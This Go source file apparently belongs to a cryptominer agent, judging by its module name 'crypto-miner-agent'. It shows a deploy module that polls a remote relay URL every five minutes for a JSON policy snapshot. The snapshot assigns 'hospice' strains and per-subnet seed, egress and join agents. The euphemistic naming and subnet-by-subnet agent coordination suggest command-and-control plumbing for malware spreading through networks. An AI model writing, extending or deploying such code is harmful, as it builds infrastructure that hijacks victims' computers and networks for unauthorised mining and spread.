package deploy import ( "encoding/json" "io" "log" "net/http" "strings" "sync" "time" "crypto-miner-agent/config" ) const policySnapshotPollInterval = 5 * time.Minute type VaccinationLaneHint struct { Subnet, SeedAgent, JoinLane, EgressAgent string } type PolicySnapshotBody struct { GenesisVersion int `json:"genesis_version"` HospiceList []string `json:"hospice_list"` VaccinationLanes []policyVaccinationLane `json:"vaccination_lanes"` EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"` PolicyPollURL string `json:"policy_poll_url,omitempty"` } type policyVaccinationLane struct { Subnet string `json:"subnet"` Lane json.RawMessage `json:"lane,omitempty"` } var policySnapshotMu sync.RWMutex var policyHospiceStrains map[string]bool var policyVaccinationLanes []VaccinationLaneHint var policyGenesisVersion int func ApplyPolicySnapshot(body PolicySnapshotBody) { policySnapshotMu.Lock() defer policySnapshotMu.Unlock() policyGenesisVersion = body.GenesisVersion if len(body.HospiceList) > 0 { policyHospiceStrains = make(map[string]bool, len(body.HospiceList)) for _, id := range body.HospiceList { if id = strings.TrimSpace(strings.ToLower(id)); id != "" { policyHospiceStrains[id] = true } } } if len(body.VaccinationLanes) > 0 { lanes := make([]VaccinationLaneHint, 0, len(body.VaccinationLanes)) for _, e := range body.VaccinationLanes { h := VaccinationLaneHint{Subnet: e.Subnet} if len(e.Lane) > 0 { var lane struct { SeedAgentID string `json:"seed_agent_id"` EgressAgentID string `json:"egress_agent_id"` JoinLane string `json:"join_lane"` } if json.Unmarshal(e.Lane, &lane) == nil { h.SeedAgent, h.EgressAgent, h.JoinLane = lane.SeedAgentID, lane.EgressAgentID, lane.JoinLane } } lanes = append(lanes, h) } policyVaccinationLanes = lanes } } func StrainInPolicyHospice(strain string) bool { policySnapshotMu.RLock() defer policySnapshotMu.RUnlock() return policyHospiceStrains[strings.TrimSpace(strings.ToLower(strain))] } func VaccinationHintForSubnet(subnet string) (VaccinationLaneHint, bool) { subnet = normalizePolicySubnet(subnet) policySnapshotMu.RLock() defer policySnapshotMu.RUnlock() for _, l := range policyVaccinationLanes { if normalizePolicySubnet(l.Subnet) == subnet { return l, true } } return VaccinationLaneHint{}, false } func PolicyGenesisVersion() int { policySnapshotMu.RLock() defer policySnapshotMu.RUnlock() return policyGenesisVersion } func StartZeroServerPolicyMode(cfg config.RuntimeConfig, reconnectFn func() error) { if r, p := strings.TrimSpace(cfg.EventBridgeRelayURL), strings.TrimSpace(cfg.PolicySnapshotPollURL); r != "" || p != "" { go runPolicySnapshotPoller(r, p) return } StartZeroServerReconnect(reconnectFn) } func runPolicySnapshotPoller(relayURL, pollURL string) { ticker := time.NewTicker(policySnapshotPollInterval) defer ticker.Stop() poll := func() { url := relayURL if url == "" { url = pollURL } body, err := fetchPolicySnapshot(url) if err != nil { log.Printf("[policy-snapshot] poll failed: %v", err) return } ApplyPolicySnapshot(body) } poll() for range ticker.C { poll() } } func fetchPolicySnapshot(url string) (PolicySnapshotBody, error) { resp, err := http.Get(url) if err != nil { return PolicySnapshotBody{}, err } defer resp.Body.Close() raw, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20)) if err != nil { return PolicySnapshotBody{}, err } if resp.StatusCode != http.StatusOK { return PolicySnapshotBody{}, errPolicyHTTP(resp.StatusCode) } var body PolicySnapshotBody return body, json.Unmarshal(raw, &body) } type policyHTTPError int func (e policyHTTPError) Error() string { return http.StatusText(int(e)) } func errPolicyHTTP(c int) error { return policyHTTPError(c) } func normalizePolicySubnet(s string) string { s = strings.TrimSpace(s) s = strings.TrimSuffix(s, ".0/24") s = strings.TrimSuffix(s, "/24") return strings.TrimSuffix(s, ".x") }